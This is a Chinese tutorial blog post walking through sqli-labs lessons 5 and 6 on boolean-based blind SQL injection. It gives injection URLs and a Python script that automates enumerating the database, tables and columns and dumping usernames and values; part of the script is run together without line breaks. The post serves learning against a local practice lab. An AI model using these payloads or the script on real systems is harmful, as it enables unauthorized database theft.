zoukankan      html  css  js  c++  java
  • sqli-labs lession 5 之盲注型SQL入门

    本文作者:Mochazz

    如果所查询的用户id在数据库中,可以发现页面显示You are in,而不像前4关那样会显示出具体的账号密码。

    图片1.png

    如果sql语句查询结果不存在,则不会显示You are in

    图片2.png

    这种类型的SQL注入属于盲注型,使用id=1观察报错信息,如下图

    图片3.png

    可以看到报错信息是”1” LIMIT 0,1′,也就是说后台代码可能是这样写的:SELECT * FROM users WHERE id=‘$id’ LIMIT 0,1

    下面,我们进行手工盲注测试,需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。

    ascii(a)将a转换成其ASCII值
    ord(a)将a转换成其ASCII值
    left(a,b)从左往右截取字符串a的前b个字符
    substr(a,b,c)从b位置开始,截取字符串a的c长度
    mid(a,b,c)从位置b开始,截取a字符串的c位

    select * from table_name limit m,n;表示从m+1开始取n条查询记录

    具体可以参考这一篇文章:sqli-labs环境搭建及数据库基础

    首先,我们要获取当前数据库名的长度,用于之后的数据库名猜解

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and (length(database())=1)–+

    图片4.png

    图片5.png

    上面的数字你可以从1开始递增,发现在length(database())=8的时候,页面返回了正确信息,这说明当前数据库名长度为8,你可以用python写个简单脚本跑一下,效果图如下

    图片6.png

    接下来就要对数据库名的每个字符进行猜解

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and (left(database(),1)=’s‘)–+

    left(database(),1)=’s'表示数据库名从左往右取一个字符,判断该字符是否等于s

    left(database(),2)=’se’表示数据库名从左往右取两个个字符,判断该字符是否等于se

    这里的s和se并不是固定的,你可以尝试ASCII表中的每个字符

    同样写成脚本跑一下,效果图如下

    图片7.png

    下面要查询security数据库下的表的个数

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and 1=(select count(table_name) from information_schema.tables where table_schema=’security‘)–+

    将等号左边的1进行递增即可判断出security数据库下表的个数,效果图如下

    图片8.png

    如果你不熟悉文中出现的select语句,可以参考:sqli-labs lession1-4

    然后就是判断每个表名的长度

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit 0,1),1,1))–+

    使用上面这个payload,如果页面返回You are in,则表示第一张表的长度至少为1,同样的,我们可以对limit num,1),num,1))num部分进行递增判断,如果进行到limit 0,1),7,1))时页面返回空,则说明第一张表的长度为7-1=6

    判断出表名长度后,就要对表名进行猜解

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit 0,1),1,1))=1–+

    这里其实跟上面的猜解数据库名原理是一样的,将等号右边的1进行递增判断,如果页面返回You are in,则表示第一张表的第一个字符的ASCII码为1,在参考ASCII码找到对应的字符就可以了。下面是程序运行效果图(截取部分吧,太多了)

    图片9.png

    图片10.png

    图片11.png

    接下来就要猜解每个表里的列的个数、列名以及列名长度,列名猜解,和上面原理都差不多,这里不再赘述,直接给出payload(以users表为例子)。

    猜解列的个数

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and %d=(select count(column_name) from information_schema.columns where table_name=’users‘)–+

    猜解列名长度

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))–+

    猜解列名

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))=97–+

    程序运行效果图

    图片12.png

    最后就是要猜解每个列里面的具体字段的长度以及值了(这里以猜解username为例)

    判断字段长度

    http://127.0.0.1/sqlilabs/Less-5/?id=1′ and 1=(select count(username) from security.users)–+

    判断字段长度

    http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1))–+

    判断字段值

    http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1))=95–+

    程序运行效果图

    图片13.png

    最后给出完整的python代码(python3)

    import requests
    url = 'http://192.168.1.158/sqlilabs/Less-5/?id=1'
    db_length = 0
    db_name = ''
    table_num = 0
    table_len = 0
    table_name = ''
    table_list = []
    column_num = 0
    column_len = 0
    column_name = ''
    column_list = []
    dump_num = 0
    dump_len = 0
    dump_name = ''
    dump_list = []
    i = j = k = 0
    ### 当前数据库名长度 ###
    for i in range(1,20):
        db_payload = '''' and (length(database())=%d)--+''' %i
        # print(url+db_payload)
        r = requests.get(url+db_payload)
        if "You are in" in r.text:
            db_length = i
            print('当前数据库名长度为:%d' % db_length)
            break
    ### 当前数据库名 ###
    print('开始猜解数据库名......')
    for i in range(1,db_length+1):
        for j in range(95,123):
            db_payload = '''' and (left(database(),%d)='%s')--+''' % (i,db_name+chr(j))
            r = requests.get(url+db_payload)
            if "You are in" in r.text:
                db_name += chr(j)
                # print(db_name)
                break
    print('数据库名: [+]',db_name)
    ### 当前数据库表的数目 ###
    for i in range(100):
        db_payload = '''' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+''' % (i,db_name)
        r = requests.get(url+db_payload)
        # print(url+db_payload)
        if "You are in" in r.text:
            table_num = i
            break
    print('一共有%d张表' % table_num)
    print('开始猜解表名......')
    ### 每张表的表名长度及表名 ###
    for i in range(table_num):
        table_len = 0
        table_name = ''
        #### 表名长度 ####
        for j in range(1,21):
            db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+''' % (i,j)        r = requests.get(url+db_payload)        # print(db_payload)        if "You are in" not in r.text:            table_len = j-1            #### 猜解表名 ####            for k in range(1,table_len+1):                for l in range(95,123):                    db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+''' % (i,k,l)                    # print(db_payload)                    r = requests.get(url+db_payload)                    # print(db_payload)                    if "You are in" in r.text:                        table_name += chr(l)            print(table_name)            table_list.append(table_name)            breakprint('表名:',table_list)### 每个表的列的数目、列名及列名长度 ###for i in table_list:    #### 每个表的列的数目 ####    for j in range(100):        db_payload = '''' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+''' % (        j, i)        r = requests.get(url + db_payload)        if "You are in" in r.text:            column_num = j            print(("[+] 表名:%-10s " % i) + str(column_num) + '字段')            break#### 猜解列名长度 ####column_num = 3print('%s表中的列名:' % table_list[-1])for j in range(3):    column_name = ''    for k in range(1,21):        db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+''' % (table_list[-1],j,k)        r = requests.get(url+db_payload)        if "You are in" not in r.text:            column_len = k-1            # print(column_len)            break        #### 猜解列名 ####        for l in range(95,123):            db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+''' % (table_list[-1],j,k,l)            r = requests.get(url + db_payload)            if "You are in" in r.text:                column_name += chr(l)    print('[+] ',column_name)    column_list.append(column_name)print('开始爆破以下字段:',column_list[1:])for column in column_list[1:]:    print(column,':')    dump_num = 0    for i in range(30):        db_payload = '''' and %d=(select count(%s) from %s.%s)--+''' % (i,column,db_name,table_list[-1])        # print(db_payload)        r = requests.get(url+db_payload)        if "You are in" in r.text:            dump_num = i            # print(i)            break    for i in range(dump_num):        dump_len = 0        dump_name = ''        #### 字段长度 ####        for j in range(1, 21):            db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+''' % (column,db_name,table_list[-1],i,j)            r = requests.get(url + db_payload)            if "You are in" not in r.text:                dump_len = j-1                for k in range(1, dump_len + 1):                    for l in range(1,256):                        db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+''' % (column,db_name,table_list[-1],i,k,l)                        # print(db_payload)                        r = requests.get(url+db_payload)                        if "You are in" in r.text:                            dump_name += chr(l)                            # print(dump_name)                            break                break        print('[+]',dump_name)

    Lession 6

    至于第六关,看一下报错信息应该能猜出后台SQL查询语句为SELECT * FROM users WHERE id=$id LIMIT 0,1

    图片14.png

    所以直接将第五关写的代码修改一下,把代码中payload部分的(单引号)改成(双引号)即可

    图片15.png

    总结

    写这个代码只是为了学习sql盲注,在写的过程中也想放弃,因为一直出错而且不知道错在哪里,但是最后还是完整的写完。其实代码还有很多地方可以改进,例如猜解字符可以使用二分法,这样效率会更快。还是继续努力吧。

  • 相关阅读:
    Json对象与Json字符串互转(4种转换方式)
    Web.config配置文件详解
    jQuery BlockUI Plugin Demo 6(Options)
    jQuery BlockUI Plugin Demo 5(Simple Modal Dialog Example)
    jQuery BlockUI Plugin Demo 4(Element Blocking Examples)
    jQuery BlockUI Plugin Demo 3(Page Blocking Examples)
    jQuery BlockUI Plugin Demo 2
    <configSections> 位置引起的错误
    关于jQuery的cookies插件2.2.0版设置过期时间的说明
    jQuery插件—获取URL参数
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7527653.html
Copyright © 2011-2022 走看看